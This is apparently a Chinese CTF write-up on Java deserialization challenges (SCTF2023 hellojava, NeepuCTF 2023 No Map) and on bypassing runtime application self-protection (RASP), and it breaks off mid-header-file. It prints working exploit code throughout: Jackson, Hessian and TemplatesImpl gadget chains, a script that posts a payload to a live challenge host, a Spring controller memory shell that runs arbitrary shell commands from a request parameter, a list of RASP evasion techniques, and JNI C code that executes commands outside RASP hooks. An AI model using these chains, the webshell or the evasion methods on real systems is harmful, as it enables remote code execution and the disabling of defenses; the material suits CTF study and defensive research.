提及rasp的java题

“提及“ rasp的java题

SCTF2023 hellojava

出题人说不想堆难度,于是把黑名单和不出网和rasp都去掉了

由于没做过这题,直接看多个人题解,我差点以为这是两道题,预期和非预期的exp完全不同

由于什么都不会,所以接下来会分析的比较细致

开始

@JsonCreator
public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
   this.Base64Code = Base64Code;
   this.IfInput = IfInput;
}

了解这三个注解

@JsonCreator
加在构造函数上面用于反序列化

@JsonProperty
指定Json数据中该属性的键名
//上面这个例子为例,即使变量名不叫Base64Code,序列化后该值的键名一定是Base64Code

@JacksonInject
有该注解的属性它的值不能从Json中获取
try {
    MyBean user = (MyBean)mapper.readValue(Base64.decode(BaseJson), MyBean.class);
    System.out.println(user);
    if (user.getIfInput()) {
        InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(param));
        NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
        Object obj = NoInputStream.readObject();
        String HelloList = (new Hello()).DoSomething((LazyList)obj);
        return HelloList;
    }

我们要让IfInput反序列化回来的结果为true,但又不能赋值,这便是第一个考点

这与Jackson的处理逻辑相关

误解注解产生的漏洞 - kuron3k0的博客 | kuron3k0’s Blog

调用readValue后,进入到_deserializeUsingPropertyBased函数,这里循环处理我们的键值对,当前正在处理空键值,propName为空

根据propName会去_propertyLookup中取出对应的creator property,从名字也能看出来,这个就是我们之前的注解生成的,username和password都有对应同名字的键名,但是标注了@JacksonInject键名为空

随后调用_deserializeWithErrorWrapping反序列化得到对应的值,并赋值给buffer中的_creatorParameters

当处理完所有键值对后,取出_creatorParameters调用User的构造函数

调试可以发现,IfInput对应的键名为空,所以获取的是""的值

给出答案,让IfInput的键名为空 即可给IfInput赋值

{"":true,"base64Code":"AAAAAAAA"}

当然这种 trick 也只适用于 creator 中只有一个 @JacksonInject 注解的,如果有多个注解,那么 "" 的索引位置只会是一个,一样会走到 _findMissing

后面虽然不同,但都是用scala-library依赖的CVE-2022-36944

非预期解 (简单易理解,但是有问题,算了能解出来都是好方法)

题目本身的 security/blacklist.txt 是打包的资源文件,远程能打是因为出题人在官方 WP 中说到了远程环境其实没有黑名单和 rasp

大概思路 删除黑名单 ,然后直接Jackson反序列化

yarocher/lazylist-cve-poc: POC for the CVE-2022-36944 vulnerability exploit (github.com)

唉,打包又出问题了

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false"

得到的base64拿去反序列化,就能删除黑名单

Templates templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = c.getDeclaredField("_bytecodes"); // bytecode 是个二维数组
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class"));
byte[][] codes = { code };
bytecodeField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
setFiledValue(badAttributeValueExpException,"val",pojoNode);

serialize(badAttributeValueExpException);

预期解

为了安全起见,请阻止在“LazyList”反序列化期间执行“Function0” by lrytz ·拉取请求 #10118 ·scala/scala (github.com)

LazyList在readObject时会调用任意的Function0

但实际远程环境是 Function1。看了exp感觉跟 cve 关系不大 , 在 LazyList 中 map 加入一个函数,那么由于懒加载的特性,显然只会在真正访问的时候才能触发emmm,当 map 里填入箭头函数的时候,在最新版本 (2.13.11)也能够触发

public class MyFun {
   public static Function1<Object, Object> myFun() {
      return MyFun$.MODULE$.myFun();
   }
   
   
   
public final class MyFun$ {
   public static final MyFun$ MODULE$ = new MyFun$();
   private static final Function1<Object, Object> myFun = (x) -> {
//      .MODULE$.println(System.getProperty("user.dir"));
      try {
         (new Hello()).sayHello("list.txt");
      }

通过myfun调用sayhello读取文件然后进行hessian反序列化,因为有一个路由是写文件的,内容可控

hessian还没学,后来出个新文章学习

直接看别人的思路

Object obj = NoInputStream.readObject();
String HelloList = (new Hello()).DoSomething((LazyList)obj);

   |
  \/    
public String DoSomething(LazyList list) {
    String HelloList = list.toString();
    list.tail().head();     //触发LazyList的function
    return "hello" + HelloList;
}

   |
  \/
private static final Function1<Object, Object> myFun = (x) -> {
	try { (new Hello()).sayHello("list.txt");
   |
  \/
public void sayHello(String path) throws IOException, ClassNotFoundException {
    ... 读取文件的操作
	byte[] decodedBytes = Base64.getDecoder().decode(sb.toString());
	new Des(decodedBytes);
    |
   \/
public Des(byte[] decodedBytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(decodedBytes);
        Hessian2Input input = new Hessian2Input(bais);
        ClassNameResolver resolver = new ClassNameResolver();
        NameBlackListFilter filter = new NameBlackListFilter(Blacklist.blacklist);
        resolver.addFilter(filter);
        input.getSerializerFactory().setClassNameResolver(resolver);
        input.readObject();
    }

hessian使用onlyJDK的思路

给出官方WP

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
public class test {
    public static String Code()throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(Evil.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
        setFieldValue(s,"attributes",uiDefaults);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(s);
        out.flushBuffer();
        String base64Str = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64Str;
    }
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(Evil.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
        setFieldValue(s,"attributes",uiDefaults);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(s);
        out.flushBuffer();
        String base64Str = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(base64Str);
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Str));
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成不了一点

NeepuCTF 2023 No Map

boogipop大佬说这道题的话假如出题人不去掉rasp的话他是出不来了

搞不懂,直接看吧

看依赖直接是jackson反序列化

image-20231116172916127

private static final String[] blacklist = new String[]{"bsh", "clojure", "java.util", "javax.management", "java.rmi", "com.sun.jndi", "sun.rmi", "org.apache", "org.hibernate", "org.springframework", "com.mchange.v2.c3p0", "com.rometools.rome.feed.impl", "com.alibaba.fastjson", "java.net.URL", "java.lang.reflect.Proxy", "javax.xml.transform.Templates", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "org.apache.xalan.xsltc.trax.TemplatesImpl", "org.python.core", "com.mysql.jdbc", "org.jboss"};

java.util相当于禁用HashMap

javax.management禁用BadAttributeValueExpException

禁用了TemplatesImpl使用二次反序列化绕过

要自己找一条从readObject到toString的链子

Boogipop只说经过查找,根本不会查找啊(呜呜呜)

另一边看别人用工具

image-20231116173432061

都是我没有的东西

最终找到javax.swing.AbstractAction

分析

readObject -> putValue ->firePropertyChange

image-20231116175433258

可以用Xstring的equals

writeObject有个writeArrayTable方法

序列化的时候执行ArrayTable.writeArrayTable(s, arrayTable);导致我们写不进两个key相同value不同的ArrayTable

image-20231116180610346

这里就需要我们重写writeArrayTable方法

image-20231129163804262

package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassMap;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class TemplatesImplChain {
    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\InjectToController.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "boogipop");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes2 = new POJONode(templatesImpl);
        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,jsonNodes2);
        
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
        
        POJONode jsonNodes = new POJONode(signedObject);
        XString xString = new XString("111");
        SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport("11");
        StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("111",1);

        Field field = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
        field.setAccessible(true);
        field.set(alignmentAction,swingPropertyChangeSupport);
        alignmentAction.putValue("11",xString);
        alignmentAction.putValue("12",jsonNodes);
        //deserial(serial(alignmentAction));



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeUTF("NEEPU");
        objectOutputStream.writeInt(1949);
        objectOutputStream.writeObject(alignmentAction);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        //System.out.println(serial(exp));
        //deserial(serial(map));
        //doPOST(exp.toString().getBytes());
        byte[] byt=new byte[fileInputStream.available()];
        fileInputStream.read(byt);
        doPOST(byt);
    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Content-Type", "text/plain");
        URI url = new URI("http://neepusec.fun:27010/nomap");
        //URI url = new URI("http://localhost:8090/nomap");
        //URI url = new URI("http://localhost:8080/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeInt(1949);
        oos.writeUTF("NEEPU");
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        System.out.println(ois.readInt());
        System.out.println(ois.readUTF());
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
}

内存马

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class InjectToController extends AbstractTranslet {

    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/Flag")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    // 第二个构造函数
    public InjectToController(String aaa) {}

    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

}

给出Boogipop的exp

但只有这两个还不行,要重写writeArrayTable,但大佬博客只有该方法的图,应该还是重写有问题,我是没有打通

怀疑运行时带有rasp,docker运行时修改CMD为java -jar noMap.jar 。。。。没有用

哈哈哈哈哈哈,我回来啦

image-20231129163604636

因为这里的反射调用的是rt.jar包下的class文件,所以在本地重写类是不行滴,要把jar包里的ArrayTable的class文件替换掉 (真的服了,而且调试的时候本地重写类被当作了源码,出现了牛头不对马嘴的情况)

image-20231129164032405

image-20231129164159748

但在题目中使用时会出现这样的报错

image-20231129164335056

很明显是jackson链子不稳定问题 ,TemplatesImpl后面加上这部分即可

Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POJONode jsonNodes2 = new POJONode(proxyObj);

image-20231129165021493

image-20231129165147196

rasp

https://dummykitty.github.io/posts/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP

说了那么多,但其实上面两题根本不关他的事(出题人都去掉了),现在就来说说它是什么

RASP 全称为 Run­time Ap­pli­ca­tion Self-Pro­tec­tion,实时程序自我保护。RASP 通常嵌入在程序内部,具备实时监控危险函数调用,并阻止该危险调用的功能。与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。

Java RASP 通常使用 java agent 技术实现,即作为jar包通过javaagent加载即可

java -javaagent:agent.jar -jar web.jar

其实已经有好几道题见到了他们各种rasp的包了

image-20231116234022459

image-20231116234040641

image-20231116234557231

他们都是作为javaagent的参数加载的

实现方法如下

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.replace("/",".").equals(JndiManagerClassName)){
            System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
            CtClass ctClass = null;
            CtMethod ctMethod = null;
            try{
                // 初始化classPool
                ClassPool classPool = new ClassPool();
                classPool.appendSystemPath();
                if (loader != null) {
                    classPool.appendClassPath(new LoaderClassPath(loader));
                }

                // 构造CtClass
                ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 获取lookup方法
                for(CtMethod method:ctClass.getMethods()){
                    if(method.getName().equals(JndiManagerLookupMethodName)){
                        ctMethod = method;
                        break;
                    }
                }

                // 修改lookup方法
                assert ctMethod != null;
                //ctMethod.insertBefore("if(name.startsWith(\"ldap://\") || name.startsWith(\"rmi://\")){return null;}");
                ctMethod.insertBefore("return null;");

                // 返回字节码
                System.out.println("[Vaccine] Patch JndiManager Lookup Success!");
                return ctClass.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }finally {
                if (ctClass != null) {
                    ctClass.detach();
                }
            }
        }else{
            return classfileBuffer;
        }

        return classfileBuffer;
    }

使用 transform 方法对 org.apache.logging.log4j.core.net.JndiManager.lookup 方法进行运行时修改,使其提前返回 return null.

绕过技巧

Boogipop大佬一句话概括绕过rasp的方法

通俗的说就是

创建一个native方法,

根据该方法生成c文件和h文件头以及dll文件,

利用这三个文件去调用c语言库中的函数执行系统函数。这样就可以绕过RASP HOOK的Runtime、Process等等东西。

根据 RASP 不同的实现,通常有两种方法绕过:

  1. 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单

  2. 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过

  3. 更多请了解RASP的安全攻防研究实践 - admin-神风 - 博客园 (cnblogs.com)

    1. 破坏 RASP 的开关。OpenRASP 中存在一个 hook 开关,反射修改这个 hook 开关可关闭所有拦截。Jrasp 没有明显的开关可以去操控但作者也实现的类似的效果。
    2. 熔断开关。很多商业化的产品有类似的CPU熔断机制,如果 CPU 达到 90%,就自动关闭 Rasp 的拦截。因此可以通过发送一些大的数据包或者流量,造成 CPU 的压力来触发 RASP 的熔断开关
    3. 伪装恶意类。很多 RASP 产品是通过堆栈信息回溯的方式来判断命令执行的地方从哪里来,例如检测 behinder 时会判断堆栈是否包含net.rebeyond.behinder类开头的信息。作者给出了伪装类名的方法。
    4. 新建线程绕过。新建线程可以绕过堆栈检查,但无法绕过黑白名单。
    5. Bootstrap ClassLoader 加载绕过内存马检测。某些 RASP 在检测内存马时,通过判断当前类的 ClassLoader 是否存在对应的 .class 文件落地,使用Instrumentation.appendToBootstrapClassLoaderSearch 方法加载的 jar 包是以 Bootstrap ClassLoader 加载的,因此能够绕过检测。
    6. 通过 Unsafe 方式绕过。Unsafe.allocateInstance方法可以实例化一个对象而不调用它的构造方法,再去执行它的 Native 方法,从而绕过 Rasp 的检测。作者给出的示例中,通过直接执行 forkAndExec 的 Native 方法来执行命令。
    7. 通过 WindowsVirtualMachine 注入 ShellCode 加载。向自身进程植入并运行 ShellCode 绕过 RASP
    8. Java 跨平台任意 Native 代码执行。
    9. 弱引用 GC. 一种依托 WeakReference 弱引用的命令执行方式,有别于常规的命令执行,因此在某些场景下可以绕过。
    10. 高权限场景卸载 RASP。通过获取 tools.jar 的路径,调用里面的 JVM API 来卸载 RASP

绕过黑名单

MRCTF2022 springcoffee中的rasp,对java.lang.ProcessImpl.start进行过滤

public class RaspTransformer implements ClassFileTransformer {
    private Instrumentation inst;
    private static String targetClassName = "java.lang.ProcessImpl";
    private static String targetMethodName = "start";

    public RaspTransformer(Instrumentation inst) {
        this.inst = inst;
    }

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.replace("/", ".").equals(targetClassName)) {
            System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
            CtClass ctClass = null;
            CtMethod ctMethod = null;

            try {
                ClassPool classPool = new ClassPool();
                classPool.appendSystemPath();
                if (loader != null) {
                    classPool.appendClassPath(new LoaderClassPath(loader));
                }

                ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
                CtMethod[] var9 = ctClass.getMethods();
                int var10 = var9.length;

                for(int var11 = 0; var11 < var10; ++var11) {
                    CtMethod method = var9[var11];
                    if (method.getName().equals(targetMethodName)) {
                        ctMethod = method;
                        break;
                    }
                }

                assert ctMethod != null;

                ctMethod.insertBefore("return null;");
                System.out.println(String.format("Patch %s %s  Success!", targetClassName, targetMethodName));
                byte[] var18 = ctClass.toBytecode();
                return var18;
            } catch (Exception var16) {
                var16.printStackTrace();
            } finally {
                if (ctClass != null) {
                    ctClass.detach();
                }

            }

            return classfileBuffer;
        } else {
            return classfileBuffer;
        }
    }

exec追溯一下会发现是调用ProcessImplstart方法,封掉了之前常见的Runtime,ProcessBuilder

java命令执行的方式中追溯到底层只有UNIXProcessProcessImpl,因此可以用UNIXProcess进行绕过,最终调用forkAndExec方法

JNI绕过RASP

image-20231118200106740

Java 反序列化绕过 RASP | DummyKitty’s blog

package com.javasec;

public class Cmdclass {
    public native String execCmd(String cmd);
}

javac .\Cmdclass.java

javac -cp . .\Cmdclass.java -h com.javasec.Cmdclass(java8及以上的javac -h会一并生成头文件)

版本较低时生成头文件用的是javah

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_javasec_Cmdclass */

#ifndef _Included_com_javasec_Cmdclass
#define _Included_com_javasec_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     com_javasec_Cmdclass
 * Method:    execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

根据这个.h文件写一个c文件

#include "com_javasec_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execCmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execCmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
//linux
gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so Cmdclass.c

//windows
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll Cmdclass.c

最后system.load()加载即可 ()

package com.javasec;

public class JNIDemo {
    public static void main(String[] args) {
        System.load("D:\ctf文件\maze\cmd.dll");
        Cmdclass cmdclass = new Cmdclass();
        String res = cmdclass.execCmd("whoami");
        System.out.println(res);
    }
}

保存一下题目成功的步骤 (不用看,这是我的)

package jackson;

public class Cmdclass{
    public native String execCmd(String cmd); 
}
javac .\Cmdclass.java

javac -cp . .\Cmdclass.java -h jackson.Cmdclass
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class jackson_Cmdclass */

#ifndef _Included_jackson_Cmdclass
#define _Included_jackson_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     jackson_Cmdclass
 * Method:    execCmd
